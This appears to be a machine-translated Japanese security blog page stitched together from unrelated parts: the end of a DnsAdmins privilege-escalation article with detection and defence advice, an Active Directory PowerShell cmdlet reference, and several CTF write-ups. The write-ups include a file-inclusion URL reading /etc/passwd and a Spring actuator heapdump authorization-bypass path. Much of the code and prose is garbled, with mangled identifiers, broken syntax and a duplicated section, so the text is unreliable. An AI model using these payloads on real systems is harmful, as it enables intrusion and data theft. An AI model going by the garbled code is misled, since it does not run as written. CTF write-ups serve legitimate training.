2番目のケースでは、DNSサービスがDCで実行されていない場合でも、ユーザーの「のみ」DNSADMINSアクセス許可を利用し、DNSサービスを再起動してシステムアクセスを取得できます。

攻撃を検出する方法は?攻撃を防ぐために、ポリシーを確認して、DNSサーバーオブジェクトの書き込み許可とDNSADMINSグループのメンバーシップを取得します。

DNSサービスの再起動とログ情報ディスプレイのペア:DNSサーバーログイベントID

150は失敗を意味し、770は成功を意味します

l00j3yw0cys8675.jpg wkppesnfubn8676.jpg

x5ngnez2dhr8677.jpg

Microsoft-Windows-DNS-Server/Audit LogイベントIDが成功し、実行に失敗しました

541

xh20bvxsrht8678.jpg

レジストリの監視:\ system \ currentControlset \ Services

\ dns \ parameters \ serverLevelPlugIndll値も役立ちます。

0x05

防衛・管理者アカウントのみがDNSADMINSグループのメンバーであることを確認し、管理者のみがシステムDNSを管理する許可を持っていることを確認します。

・特権アクセスなしのグループ/アカウントのDNSサーバーオブジェクト許可ポリシー設定が正しいかどうかを定期的に確認します。

RPCを管理者アクセスサブネットにDC通信に制限します。

・DC管理者は、ServerLevelPlugIndllレジストリキーの権限を変更できるようにします。

0x00はじめに

Microsoftは、Windows Server 2008 R2(およびその後)に複数のActive Directory PowerShell CMDLetsを提供します。

Windowsクライアントでは、リモートサーバー管理ツール(RSAT)をインストールし、Active Directory PowerShellモジュールがインストールされていることを確認する必要があります。 Windows Server(2008 R2以降)で、PowerShellコンソールで次のコマンドを実行します(管理者として):Import-Module ServerManager。 add-windowsfeature rsat-ad-powershell。

kna4j5osd1h8964.jpg

0x01広告ディレクトリプレビュー

AD PowerShell CMDLETSは、次の方法と同じ効果があります。

インポートモジュールアクティブディレクトリ

$ userid="joeuser"

get-aduser $ userid –property *

PowerShell V3バージョンとより高いバージョンでは、PowerShellが必要なモジュールを認識して自動的にロードするため、コマンドの最初の行を実行する必要はないことに注意してください。 Active Directory PowerShellモジュールがロードされたら、ファイルシステムを閲覧するのと同じように広告を閲覧できます。コマンドは次のとおりです。

PS Import-Module ActiveDirectory

PSDIR AD:

PSSET-Location AD:

PSセットロケーション "dc=lab、dc=adsecurity、dc=org"

psdir

plelhvfgeeu8965.gif

0x02便利なコマンド(cmdlets)

を見つけます

1。利用可能なPowerShellモジュールの基本的なモジュールと統計的発見:Get-Module -Listavailable

PowerShellモジュールでCMDLETを発見:Get -Command -Module ActiveDirectory

PowerShell ADモジュールのcmdletsの数:

(Get -Command -Module ActiveDirectory).Count

Windows Server 2008 R2: 76 CMDLETS

Windows Server 2012: 135 cmdlets

Windows Server 2012 R2: 147 CMDLETS

Windows Server 20163360147 CMDLETS

Windows Server 2008 R2メインCMDLETS:

•get/set-adforest

•get/set-addomain

•get/set-addomaincontroller

•get/set-aduser

•get/set-adcomputer

•get/set-adgroup

•get/set-adgroupMember

•get/set-adobject

•Get/Set-AdorganizationalUnit

•enable-adoptionalfeature

•無効化/有効化- アダクカウント

•move-addirectoryserveroperationmasterrole

•新しい虐待者

•new-adcomputer

•new-Adggroup

•new-adobject

•new-adorganizationalUnit

Windows Server 2012には、いくつかの新しいcmdlets:が含まれています

• *-ADRESOURCEPROPERTYLISTMEMBER

• *-adeuthenticationPolicy

• *-adeuthenticationPolicysilo

• *-adcentralaccesspolicy

• *-adcentralAccessrule

• *-AdresourceProperty

• *-ADRESOURCEPROPERTYLIST

• *-ADRESOURCEPROPERTYVALUEETYPE

• *-ADDCCLONECONFIGFILE

• *-adreplicationAttributeMetadata

• *-ADREPLICATIONCONNECTION

• *-ADREPLICATIONFAILURE

• *-ADREPLICATIONPARTNERMETADATA

• *-ADREPLICITIONQUEUOOPERATION

• *-ADREPLICESSITE

• *-ADREPLICATIONSITELINK

• *-ADREPLICATIONSITELINKBRIDGE

• *-ADREPLICATIONSUBNET

• *-ADREPLICATIONUPTODATENESSEVECTORTABLE

•sync-adobject

2。グローバルディレクトリを発見するグローバルカタログ(GCS)•Forest GCS(Forest Global Directory):

インポートモジュールアクティブディレクトリ

$ adforest=get-adforest

$ adforestglobalcatalogs=$ adforest.globalcatalogs

•GCSであるドメインDC(ドメインDCのグローバルディレクトリとして):

インポートモジュールアクティブディレクトリ

$ dcsnotgcs=get -addomaincontroller -filter {isglobalcatalog -eq $ true}

•GCSではないドメインDC(非ドメインDCのグローバルディレクトリとして):

インポートモジュールアクティブディレクトリ

$ dcsnotgcs=get -addomaincontroller -filter {isglobalcatalog -eq $ false}}

3. Active Directory Flexible Single Host操作(FSMO)役割Active Directoryモジュールを見つけます。

(get-adforest).schemamaster

(get-adforest).domainnamingmaster

(get-addomain).infrastructuremaster

(get-addomain).pdcemulator

(get-addomain).ridmaster

.NETコール:

•現在のドメイン:を取得します

[System.DirectoryServices.activedirectory.domain] :GetCurrentDomain()。名前

[System.DirectoryServices.activedirectory.domain] :GetComputerDomain()。名前

•コンピューターのsite: [system.directoryservices.activedirectory.activedirectorysite] :getComputerSite()を取得します

•すべてのドメインコントローラーをドメイン: [System.DirectoryServices.Activedirectory.domain] :GetCurrentDomain()。ドメインコントロラーにリストします

•Active Directory Domain Mode: [System.DirectoryServices.Activedirectory.Domain] :GetCurrentDomain()。ドメインモードを取得します

•Active Directory FSMOS:([system.directoryservices.activedirectory.forest] :getCurrentforest())

([system.directoryservices.activedirectory.forest] :getCurrentforest())

([system.directoryservices.activedirectory.domain] :getCurrentDomain())

([system.directoryservices.activedirectory.domain] :getCurrentDomain())

([system.directoryservices.activedirectory.domain] :getCurrentDomain())

•Active Directory Forest Name:を取得します

[System.DirectoryServices.Activedirectory.Forest] :GetCurrentForest()。名前

•アクティブのサイトのリストを取得します

ディレクトリフォレスト:

[配列] $ adsites=

[System.DirectoryServices.Activedirectory.Forest] :GetCurrentForest()。サイト

•Active Directory Forest Domains:を取得します

[System.DirectoryServices.Activedirectory.Forest] :GetCurrentForest()。ドメイン

•Active Directory Forest Globalを取得します

カタログ:

[System.DirectoryServices.Activedirectory.Forest] :GetCurrentForest()。GlobalCatalogs

•Active Directory Forest Mode:を取得します

[System.DirectoryServices.Activedirectory.Forest] :GetCurrentForest()。ForestMode

•アクティブディレクトリフォレストルートを取得します

domain3360

[System.DirectoryServices.Activedirectory.Forest] :GetCurrentForest()。rootdomain

4。FSMOの役割は、あるDCから別のDCGet-Commandに移動します

-module Activedirectory -Noun *Master *

•移動FSMOロール:

move-addirectoryserveroperationmasterrole

-identity $ dcname -operationmasterrole ridmaster

move-addirectoryserveroperationmasterrole

- アイデンティティ$ dcname-

OperationMasterrole

DomainNamingMaster

move-addirectoryserveroperationmasterrole

-identity $ dcname -operationmasterrole pdcemulato

•FSMOロールの押収:

move-addirectoryserveroperationmasterrole

-identity $ dcname -operationmasterrole pdcemulator -force

0x03 Active Directory PowerShell Module Cmdletの例

1.Get-Rootdse LDAPサーバー(ドメインコントローラー)に関する情報を取得し、その内容を表示します。結果には、DCが実行するオペレーティングシステム情報など、いくつかの興味深い情報が含まれています。

wztmdvd5rja8966.gif

2.Get-Adforestは、このコマンドを実行しているコンピューターでアクティブに提供します

ディレクトリフォレスト情報。

jijbhsawdm58967.gif

3。Get-Addomainは、現在のドメインに関する情報を提供します

svccw3fimfv8968.gif

4.Get-AddomainControllerは、ドメインコントローラーに固有のコンピューター情報を提供します。 CMDLETコマンドを介して、特定のサイトですべてのDCSまたはONSバージョン情報を簡単に見つけることができます。

ytp0fzagqqt8969.gif

5.Get-AdComputerは、ADのほとんどのコンピューターオブジェクトに関する情報を提供します。 「-Prop *」パラメーターで実行されるコマンドは、すべての標準属性情報を表示できます。

h4tbdoc4gr48970.gif

6。広告コンピューターの統計$ time=(測定コマンド `

{[array] $ allcomputers=

get -adcomputer -filter * -properties

名前、canonicalName、enabled、passwordlastset、samaccountname、lastlogontimest

AMP、DistinguishedName、OperatingSystem

})。トータルミニュート

$ allcomputerscount=

$ allcomputers.count

書き込み出力「ありました

$ allcomputerscountコンピューターで発見されました

$ domaindns in $ time分… `r"

7.Get-Aduserは、広告ユーザーに関するコンテンツのほとんどに関する情報を提供します。 「-Prop *」パラメーターを使用してコマンド実行は、すべての標準属性情報を表示できます。

aaksbgbljlz8971.gif

8。広告ユーザー統計インポートモジュールActive Directory

$ domaindns=

[System.DirectoryServices.activedirectory.domain] :GetCurrentDomain()。名前

[array] $ allusers=get-aduser

-filter * -properties

名前、distinguedname、enabled、lastlogondate、lastlogontimestamp、lockedout、msexchhom

eservername、samaccountname

$ alluserscount=$ allusers.count

書き込み出力「ありました

$ aldomaindnsrootで発見されたユーザーオブジェクト… "

[array] $ disabledusers=

$ Allusers | where -object {$ _。enabled -eq $ false}

$ DisabledUserScount=

$ disabledusers.count

[array] $ enabledusers=$ allusers

| where -object {$ _。enabled -eq $ true}

$ enableduserscount=

$ enabledusers.count

書き込み出力「あります

$ enableduserscountはユーザーを有効にし、$ disableduserscountがあります

$ domaindnsの無効なユーザー」

9.Get-Adgroupは広告グループに関する情報を提供し、次のコマンドを実行してすべてのセキュリティグループを見つけます。

get -adgroup -filter {groupCategory -EQ 'セキュリティ}

crkr3iuhks08972.gif

10.Get-AdgroupMemberの列挙およびグループメンバー情報を返します。 「-Recursive」パラメーターを使用して、ネストされたグループのすべてのメンバーを含めます。

Get -AdgroupMember「管理者」 - 再編成

it5j3bz5qsj8973.gif

11.非アクティブコンピューターを見つける次の例は、非アクティブな(古いバージョン)コンピューターとユーザーを探します。過去10日間にパスワードが変更されていないアカウント。これはテストの例であることに注意してください。実際の生産環境については、この推奨事項を60〜90日間のコンピューターと、ユーザー向けの180〜365日間の戦略に変更します。

hxq3qtjvuca8974.gif

12.非アクティブユーザーを見つけるvrawni4c1yx8975.gif

13。ドメイントラストynbgaii5xgb8976.gifを列挙します

14。アクティビティディレクトリの実装日を取得0tmnctsa3g48977.jpg

15.広告パスワードポリシーを取得するvbtp1tshc0a8978.jpg

16。広告サイト情報を取得するには、Windows 2012モジュールにサイトのcmdlet(get-adreplicationsite*)が含まれていることに注意してください。

41kpls5gznm8979.gif

17。TOMBSTONELIFETIME情報を取得するuua1pvylfjq8980.jpg

18.ADのリサイクル情報には、森林機能モード=が必要です

Windows Server 2008 R2

•リサイクルビンを有効にします

(エンタープライズ管理者として)

enable-adoptionalfeature

–Indidity 'CN=リサイクルビン機能、CN=オプション機能、CN=ディレクトリ

サービス、CN=Windows

nt、cn=services、cn=configuration、dc=domain、dc=com ’–Scope

ForestorConfigurationset - ターゲット

「domain.com」

•すべての削除されたユーザーを見つけます

$ deletedusers=get-adobject

-searchbase "cn=削除されたオブジェクト、dc=domain、dc=com" -filter

{objectc

web

easywill

問題解決策

湖湘杯-WriteUp

可変オーバーレイ

http://ECI-2ZEJ1GOYN9JH8HTY6TON.CLOUDECI1.ICUNQIU.COM/?NAME=CFILEVALUE=/ETC/PASSWD

Psychological Blogの最近の記事はPearcmd:https://ttang.com/archive/1312/を利用しています

湖湘杯-WriteUp 湖湘杯-WriteUp 湖湘杯-WriteUp

秋のペンテスト

問題を解決するためのアイデア

http://ECI-2ZE40JM526Y24NV2LKL3.CLOUDECI1.ICUNQIU.com:88888/許可バイパス/;/アクチュエーター/env/;/アクチュエーター/heapdump

湖湘杯-WriteUp復号化スクリプト

ImportBase64

intervertruct

print(base64.b64encode(struct.pack( 'bbbbbbbbbbbbbbbbbb'、-126、-67,24、-71、-62、-122,61、-52,91,77)、-110,115、-43,100、-88,103)))))

#gr0yuckgpcxbtzjz1wsozw==湖湘杯-WriteUpflag {3fa31850-8ee6-40f2-9b18-9ecf6cac176c}

hideit

問題解決策

開いた後、SMCがあることがわかりました。単一のステップのデバッグでメイン関数が見つかりません。

出力文字列、パットの下のブレークポイントを発見し、2回目のブレークの後、メイン関数に戻り、関数ヘッダーに移動して、逆コンパイル

__int64__fastcallsub_24d61161bb0(__ int64a1)

{

//.

if(!(unsignedint)off_24d61163000(-2147483646i64、asoftwareclasse、v24))

{

V23=0;

((void(__ fastcall*)(char*、_ qword、__ int64))unk_24d61162a0c)(v21,0i64,520i64);

V22=66;

if(!(unsignedint)off_24d61163008(v24、akeyssecret、0i64、v23、v21、v22))

OFF_24D61163020(0I64,0I64、V21,0XFFFFFFFFI64、V14,260,0I64,0I64);

}

OFF_24D611630F8(AfirstSecrether);

V10=0i64;

v11=0;

((void(__ fastcall*)(void*、__ int64*))unk_24d61161b50)(unk_24d6116324c、v10);

V12=0i64;

strcpy((char*)v12、(constchar*)v10);

V13 [0]=114;

v13 [1]=514;

V13 [2]=19;

V13 [3]=19;

((void(__ fastcall*)(char*、_ qword、__ int64))unk_24d61162a0c)(v20,0i64,512i64);

v3=hidword(v12);

V4=32;

v5=v12;

v6=hidword(v12);

v7=0;

する

{

V7-=1640531527;

v8=(v72)3;

v5+=((v7^v3)+(v6^v13 [v8]))^((((16*v6)^(v33))+((v65)^(4*v3)));

v3+=((v7^v5)+(v5^v13 [v8^1]))^((((16*v5)^(v53))+((v55)^(4*v5)));

v6=v3;

-v4;

}

while(v4);

if(v5==288407067v3==1668576323)

{

V17=0I64;

v18=(unsigned__int8)v10 |((byte1(v10)|(word1(v10)8))8);

v19=byte4(v10)|((byte5(v10)|(hiword(v10)8))8);

((void(__ fastcall*)(_ dword*、__ int64))unk_24d61161000)(v16、a1); //key extension

sub_24d61161150(V16、V14、V20); //2番目のステップ暗号化

while(byte_24d611631d0 [v2]==v20 [v2])

{

if(++ v2=32)

RETURNOFF_24D611630F8(AYOUFINDLASTSEC);

}

}

return0i64;

}最初にクラスティー暗号化を実行します。これらの8つの単語がメソッドに準拠している場合は、暗号化の2番目のステップを実行します。クラスティー暗号化は弦のdotitsitをデコードし、2番目の段落は次のように暗号化されます

_DWORD*__ FASTCALLSUB_24D61161150(_DWORD*a1、__ int128*a2、_byte*a3)

{

//.

if(a2)

{

v13=(char*)a2-(char*)v122;

V14=V122;

する

{

*(_ byte*)v14=*((_ byte*)v14+v13);

v14=(__ int128*)((char*)v14+1);

-v11;

}

while(v11);

V127=V122;

}

//keyoperation

(1)

{

//keyoperation

}

//.

if(v127)

{

//ここでブレークポイントを準備し、V76の値を表示します.

v76^=*(unsigned__int8*)v127 |((*((((unsigned __int8*)v127+1)|(*((unsigned__int16*)v127+1)8)8);

v77^=*((unsigned__int8*)v127+4)|((*((((unsigned __int8*)v127+5)|(*((unsigned__int16*)v127+3)8)8);

v78^=*((unsigned__int8*)v127+8)|((*(((((unsigned __int8*)v127+9)|(*((unsigned__int16*)v127+5)8)8);

v79^=*((unsigned__int8*)v127+12)|((*(((((unsigned))v127+13)|(((unsigned__int16*)v127+7)8)8);

v80^=*((unsigned__int8*)v127+16)|((*((((unsigned __int8*)v127+17)|(*((unsigned__int16*)v127+9)8)8);

v129^=*((unsigned__int8*)v127+20)|((*(((unsigned__int8*)v127+21)|(*((unsigned__int16*)v127+11)8)8);

lodword(v97)=(*((unsigned__int8*)v127+24)|((*((unsigned__int8*)v127+25)|(*((unsigned__int16*)v127)

+13)8))8))^V97;

hidword(v97)^=*((unsigned__int8*)v127+28)|((*((unsigned__int8*)v127+29)|(*((unsigned__int16*)v127)

+15)8))8);

v81^=*((unsigned__int8*)v127+32)|((*((((unsigned __int8*)v127+33)|(*((unsigned__int16*)v127+17)8)8);

v86^=*((unsigned__int8*)v127+36)|((*(((((unsigned))v127+37)|(*((unsigned__int16*)v127+19)8)8);

v87^=*((unsigned__int8*)v127+44)|((*(((unsigned__int8*)v127+45)|(*((unsigned__int16*)v127+23)8)8);

v82^=*((unsigned__int8*)v127+48)|((*(((unsigned__int8*)v127+49)|(*((unsigned__int16)v127+25)8)8);

v83^=*((unsigned__int8*)v127+52)|((*(((unsigned__int8*)v127+53)|(*((unsigned__int16*)v127+27)8)8);

v84^=*((unsigned__int8*)v127+56)|((*((((unsigned __int8*)v127+57)|(*((unsigned__int16*)v127+29)8)8);

v85^=*((unsigned__int8*)v127+60)|((*((((((unsigned))__int8*)v127+61)|(*((unsigned__int16*)v127+31)8)8);

v75^=*((unsigned__int8*)v127+40)|((*(((((unsigned __int8*)v127+41)|(*((unsigned__int16*)v127+21)8)8);

}

//データコピー

する

{

*v90=v90 [(char*)v122-a3];

++ V90;

-v91;

}

while(v91);

結果=a1;

A1 [12]=V105;

A1 [13]=V100;

returnResult;

}この関数は複雑に見えますが、実際にはキーで非常に複雑な操作を実行し、入力を使用してXORを実行することです。

exp

#includestdio.h#includestdlib.h

#includeinttypes.h

#includestring.h

#include'defs.h '

#includestdint.h

voiddecrypt(uint32_t*v)

{

UINT32_TV7、V8、V6、V5、V4、V3;

V4=32;

uint32_tv11 []={114,514,19,19};

V7=0x9E3779B9*32;

v5=0x1130be1b;

V3=0x63747443; do

{

v8=(v72)3;

v3 - =((v7^v5)+(v5^v11 [v8^1]))^(((16*v5)^(v53)+((v55)^(4*v5)));

v6=v3;

v5 - =((v7^v3)+(v6^v11 [v8]))^((((16*v6)^(v33))+((v65)^(4*v3)));

-v4;

v7-=0x9e3779b9;

} while(v4);

V [0]=V5;

V [1]=V3;

}

intmain()

{

uint32_tk []={114,514,19,19};

uint8_tp []='12345678';

uint32_tc []={288407067,1668576323};

Decrypt(c);

printf( '%sn'、c);

for(size_ti=0; i8; i ++)

{

printf( '0x%02x、'、*(uint8_t*)c [i]);

}

printf( 'n');

Charkey []='Expand32-bytek0n3@ayi_m3l0dy_kurom1_w_suk1dqy0x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00dotitit';

uint8_tdata []={0xeb、0x8e、0x5c、0xa5,0x62,0xb4,0x1c、0x84,0x5c、0x59,0xfc、0xd、0x43,0x3c、0x Ab、0x20,0xd8,0x93,0x33,0x13,0xa1,0x9e、0x39,0x0,0x76,0x14,0xb55,0x4,0x58,0x9d、0x6,0xb8};

uint8_tres [128]={0};

uint32_tk0=0xc23de28d;

uint32_t*d=(uint32_t*)data;

d [0]^=k0;

d [1]^=0xca2df219;

d [2]^=0x52cf1418;

d [3]^=0x139c5a77;

d [4]^=0x5b04ccaa;

d [5]^=0x680cc192;

d [6]^=0x47f95845;

d [7]^=0xc535d968;

printf( '%sn'、d);

}

シェル

問題解決のアイデア

子のプロセスは主に作成され、親子プロセスは廃止されます。子プロセスをダンプするプログラムを見つけます。 https://github.com/glmcdona/process-dump

PD-PIDチャイルドプロセスPID子プロセスPIDをデバッグして、次のようにIDAオープンダンプの後に子プロセスを取得できる

.text:000001fa6c311160pushrsi

.text:000001fa6c311161pushrdi

.text:000001fa6c311162subrsp、28h

.text:000001fa6c311166666666666666666666666666666666

.text:000001fa6c31116dcallsub_1fa6c3112b0

.text:000001fa6c311172learcx、a42s; '%42s'

.text:000001fa6c311179 learsi、nown_string;これは0x40A0です

.text:000001fa6c311180movrdx、rsi

.text:000001fa6c311183callscanf

.text:000001fa6c311188int3; traptodebugger

.text:000001FA6C311189;---------------------------------------------------------------------------

.text:000001fa6c311189movrcx、rsi; str

.text:000001FA6C31118CCALLSTRLEN

.text:000001fa6c31191cmmprax、0c9h

.text:000001fa6c311197jbshortnearptrunk_1fa6c31119e

.text:000001fa6c31199callsub_1fa6c311020

.text:000001FA6C311199;---------------------------------------------------------------------------

.text:000001fa6c31119eunk_1fa6c31119edb0c4h; codexref:main+37↑j

.text:000001fa6c31119fdb12hメインプロセスでのデバッグ機能と組み合わせた

int__fastcallsub_7ff6c56b1560(_dword*a1)

{

//.

if(*a1==0x80000003)

{

V5=QWORD_7FF6C56B5630;

if(qword_7ff6c56b5630)

{

Context.ContextFlags=1048587;

if(!getThreadContext(hthread、context))

{

v6=getLasterRor();

printf( 'getThreadContextFailed:%llxn'、v6);

}

readprocessmemory(hprocess、(lpcvoid)(qword_7ff6c56b5638+0x40a0)、v13,0x2aui64、numberofbytesRead);

v7=_mm_load_si128((const__m128i*)xmmword_7ff6c56b3420

1. pyc

PYCを使用してオンラインで逆コンパイルしてPythonソースコードを取得します。

#!/usr/bin/env python

#詳細については、https://tool.lu/pyc/をご覧ください

#version: python 3.8

ランダムをインポートします

def encrypt_file(file_path):

random.seed(114514)

#警告: Decompyleが不完全

file_path='./flag'

encrypt_file(file_path)

次に、AI分析を使用して、対応する復号化スクリプトを取得します

ランダムをインポートします

OSをインポートします

def decrypt_data(encrypted_data):

random.seed(114514)

decrypted_data=bytearray()

byte in necrypted_data:の場合

key=random.randint(0、128)

decrypted_data.append(byte ^ key)

decrypted_dataを返します

def read_file(file_path、mode='rb'):

open(file_path、mode)をfile:として

file.read()を返します

def write_file(file_path、data、mode='wb'):

open(file_path、mode)をfile:として

file.write(data)

def decrypt_file(encrypted_file_path、output_file_path):

encrypted_data=read_file(encrypted_file_path)

decrypted_data=decrypt_data(encrypted_data)

write_file(output_file_path、decrypted_data)

__NAME __=='__ Main __' :の場合

encrypted_file_path='flag.enc'

output_file_path='flag_decrypted.txt'

decrypt_file(encrypted_file_path、output_file_path)

#flag {u_r_g00d_at_do1n_pyc}

2. mwatch

ヒント:データセキュリティ研究者がスマートデバイスによって収集されたデータをリアルタイムで分析すると、デバイスユーザーの価値が高いことを検出します。最高の値を分析するのに役立ちます。フラグ{MD5(データ収集デバイス名データ受信デバイス名値)}

心拍数は何度も表示されます。質問の説明に基づいてこれを探す必要があります。関連する心拍数のみを確認してください

image-20240428205017240

image-20240428205017240

フラグ{MD5(MIスマートバンド5_REDMI K40_128)}

フラグ{453D8FEDA5ADB6E7B4D54F71A9CE9E14}

3. babyrsa

ヒント:特定の従業員には、素数を生成する初期値があり、このアルゴリズムを長時間実行しました。このプログラムは誤って終了し、誤って初期値を削除しました。プレーンテキストを復元できますか?

ソースコード:

#task.py

#!/usr/bin/env python3

# - * - coding: utf-8-* -

秘密のインポートフラグから、init

crypto.util.Numberインポートから *

sage.allからimport *

gmpy2インポートirootから

m=bytes_to_long(flag.encode())

r=getPrime(128)

p=init

#範囲(r-1):の場合

#p +=next_prime(init)

#arsert iroot(p、3)[1]==1

Q=getPrime(12)

#n=p*q*r

n=r ** 4*q

E=getPrime(17)

c=pow(m、e、n)

印刷(f'r={r} ')

print(f'e={e} ')

印刷(f'c={c} ')

#R=287040188443069778047400125757341514899

#E=96001

#c=73855802810562767814979785380202271810096755452877197575049929510423791238909 673184757193027320814618632612457868216163319969575131936068848815308298035625

Qを取得するために12ビットの素数を爆破してから復号化します

crypto.util.Numberからlong_to_bytesをインポートします

R=287040188443069778047400125757341514899

E=96001

c=73855802810562767814979785380202271810096755452877197575049929510423791238909 673184757193027320814618632612457868216163319969575131936068848815308298035625

#指数のモジュラスが実際にr ** 4であると仮定すると

n=r ** 4

#emodφ(n)のモジュラー逆数を計算します。ここで、φ(n)は(r-1)*(r ** 3)のようなrの関数になる可能性があります

#RSA復号化式m=c^d mod nにはφ(n)の正しい値が必要です。ここで、d=e^( - 1)modφ(n)

#ここで、φ(n)=r^4 -r^3を単純化として仮定すると、実際のRSAセットアップに基づいてこれを調整する必要があるかもしれません

phi_n=r ** 4 -r ** 3

d=inverse(e、phi_n)

#メッセージを復号化します

m=pow(c、d、n)

#番号をバイトに変換します

メッセージ=long_to_bytes(m)

印刷(メッセージ)

#flag {3b0ce326141ea4f6b5bf2f37efbd1b42}

4. バックパック

BKZアルゴリズムを使用して、一連のベースを解くバックパック暗号化

#!/usr/bin/env python3

# - * - coding: utf-8-* -

sage.allからimport *

秘密のインポートフラグから

crypto.util.Numberインポートから *

数学からインポートlog2から

クラスナープサック:

def __init __(self、n、m):

self.m=[]

self.n=n

self.m=self.pre(m)

self.a=0

self.b=0

def pre(self、m):

tmp_m=bin(m)[2:]

t=[]

TMP_M:のTMPの場合

T.Append(int(tmp))

tを返します

def get_m(self):

seq=[randint(2 ** 34,2 ** 35)for _ in range(self.n)]

self.m=seq

def calc_denity(self):

t=log2(max(self.m))

d=self.n/t

印刷(d)

def enc(self):

self.get_m()

self.calc_dences()

c=0

範囲のt(len(self.m)):

c +=self.m [t] * self.m [t]

印刷(f'c={c} ')

print(f'm={self.m} ')

__NAME __=='__ Main __' :の場合

m=bytes_to_long(flag.encode())

n=m.bit_length()

k=ナップサック(n、m)

k.enc()

#c=231282844744

#M=[27811518167、19889199464、19122558731、1966624823、25670001067、30690729665、23936341812、31011714749、30524482330、21733333371593、17530715307153071530715307153071530717153071530715307153071530715307153071530715307153071530715307153071530715307153071715チ19140841231、33846825616、17334386491、28867755886、2935454582、21758322019、27261411361、31465376167、26145493792、270792、270792、2707992 33514052206、25397635665、21970496142、30801229475、22405695620、18486900933、27071880304、17919853256、18072328152、21108080920]

Sagemathで実行:

crypto.util.Number inmort long_to_bytesから

C=231282844744

M=[27811518167、19889199464、19122558731、1966624823、25670001067、30690729665、

23936341812、31011714749、30524482330、21737374993、17530717152、19140841231、

33846825616、17334386491、288677555886、29354544582、21758322019、27261411361、

31465376167、26145493792、27075307455、33514052206、25397635665、21970496142、

30801229475、22405695620、18486900933、27071880304、17919853256、18072328152、

21108080920]

l=block_matrix([[1、matrix(zz、m)]、[0、c]])。lll())。

L:の行

row [-1]==0およびlen(set(row [:-1]))==1:の場合

#最後の要素を除くすべての要素が同じであると仮定すると同じです

ans=[abs(i)in ow in ow in [:-1]]

ans=int( ''。join(map(str、ans))、2)

print(long_to_bytes(ans))

5. ターゲットを絞ったデータ収集

OpenPyxlをインポートします

リクエストをインポートします

インポート時間

urllib.parseインポートurlencodeから

burp0_url='http://121.40.65.125:23328/submit'

Def devery_name_and_id(input_file、output_file):

wb=openpyxl.load_workbook(input_file)

ws=wb.active

ws.iter_rows(min_row=1、max_col=1、max_row=ws.max_row、values_only=true):の行の場合

行[0] :の場合

名前、id_number=row [0] .split( '----')#extrame name and Identityカード

印刷(名前、id_number)

Age=2024-int(id_number [6:10])

if(int(id_number [10:12])4):

年齢- =1

sexx=u'male '

burp0_json={'address':' asd '、' age ': str(age)、 'ethnicity ':' as '、' experience ': '1'、 'idcard': id number、' name ': '' '' 'position ':' as '、' sex': sexx}

sexx2=u'female '

burp0_json1={'address':' asd '、' age '3: str(age)、 'ethnicity ':' as '、' experience ': '1'、 'idcard'3360 id _number、' name ': '' '、 'position ':' as '、' sex': sexx2}

try:

r0=requests.post(burp0_url、json=burp0_json)

r1=requests.post(burp0_url、json=burp0_json1)

print(r0.request.body)

print(r0.text、r1.text)

#time.sleep(0.5)

requests.exceptions:を除く

print( 'err')

#time.sleep(2)

#ws.append([name.strip()、id_number.strip()])

#wb.save(output_file)

wb.close()

__name__=='__main __' :の場合

input_file='data1.xlsx'

output_file='deprosed_data.xlsx' #Noの使用、破棄されます

devery_name_and_id(input_file、output_file)

6. 天気

レビューbundle.js

image-20240428213212351

image-20240428213230335

アクセスするパラメーターを取得します

Image

7.mysqlクリーンアップ

ヒント:

要件に応じて、データベースからいくつかのユーザーデータを完全に削除するには、提供されたMySQLコンテナに接続してすべてのCTFテーブルを削除してください。ユーザーIDは5142、2123、1169、および8623です。これらのユーザーを徹底的にクリーンアップする必要があり、サーバーでは残りのデータを見つけることはできません[および他のユーザーデータも変更できません。操作が成功すると、システムはCTF.FLAGテーブルにフラグデータを入力します。 (MySQL CTFユーザーパスワードPSWD@123)

( '5142'、 '2123'、'1169 '、' 8623 ')のushows_id in(' 5142 '、' 2123 '、' 18623 ')から削除します。

( '5142'、 '2123'、'1169 '、' 8623 ')inuser_id in(' 5142 '、' 2123 '、' 8623 ');

userlog where where user_id in( '5142'、 '2123'、'1169 '、' 8623 ');

user_id in( '5142'、 '2123'、'1169 '、' 8623 ');

( '5142'、 '2123'、'1169 '、' 8623 ')でid(' 5142 '、' 2123 '、'1169'、 ');

テーブルを再構築し、削除後に残りのデータをクリアします

Alter Tableユーザーエンジン=innodb;

Alter Table userlog Engine=innodb;

Table TransactionHistory Engine=Innodbを変更します。

Alter Table ShopphingCart Engine=Innodb;

Alter Table Orders Engine=Innodb;

image-20240428213639377

8. ファントムスクエア

第3レベルのマジックスクエアには8つの結果しかありません。もう数回試してみてください

Hashlibをインポートします

ランダムをインポートします

文字列をインポートします

#文字セットを英数字として定義します

charset=string.ascii_letters + string.digits

true:

#チャーセットからランダムな4文字列を生成します

rand_str='' .join(random.choice(charset)for _ in _ in range(4)) + 'cyhqp8lsgzyjtnud'

#文字列のSHA-256ハッシュを計算します

hash_output=hashlib.sha256(rand_str.encode())。hexdigest()

#ハッシュがターゲットハッシュと一致するかどうかを確認します

hash_output=='11f8af166cc28e24b4646cc300436f4d4bf8e11b2327379331a3eca2d5fc7c0c'3360の場合

print(rand_str [:4])#一致が見つかった場合は最初の4文字を印刷します

壊す

'' '

[2、7、6、9、5、1、4、3、8]

[2、9、4、7、5、3、6、1、8]

[4、3、8、9、5、1、2、7、6]

[4、9、2、3、5、7、8、1、6]

[6、1、8、7、5、3、2、9、4]

[6、7、2、1、5、9、8、3、4]

[8、1、6、3、5、7、4、9、2]

[8、3、4、1、5、9、6、7、2]

4 3 8

9 5 1

2 7 6

'' '

image-20240428214506459

1. pyc

PYCを使用してオンラインで逆コンパイルしてPythonソースコードを取得します。

#!/usr/bin/env python

#詳細については、https://tool.lu/pyc/をご覧ください

#version: python 3.8

ランダムをインポートします

def encrypt_file(file_path):

random.seed(114514)

#警告: Decompyleが不完全

file_path='./flag'

encrypt_file(file_path)

次に、AI分析を使用して、対応する復号化スクリプトを取得します

ランダムをインポートします

OSをインポートします

def decrypt_data(encrypted_data):

random.seed(114514)

decrypted_data=bytearray()

byte in necrypted_data:の場合

key=random.randint(0、128)

decrypted_data.append(byte ^ key)

decrypted_dataを返します

def read_file(file_path、mode='rb'):

open(file_path、mode)をfile:として

file.read()を返します

def write_file(file_path、data、mode='wb'):

open(file_path、mode)をfile:として

file.write(data)

def decrypt_file(encrypted_file_path、output_file_path):

encrypted_data=read_file(encrypted_file_path)

decrypted_data=decrypt_data(encrypted_data)

write_file(output_file_path、decrypted_data)

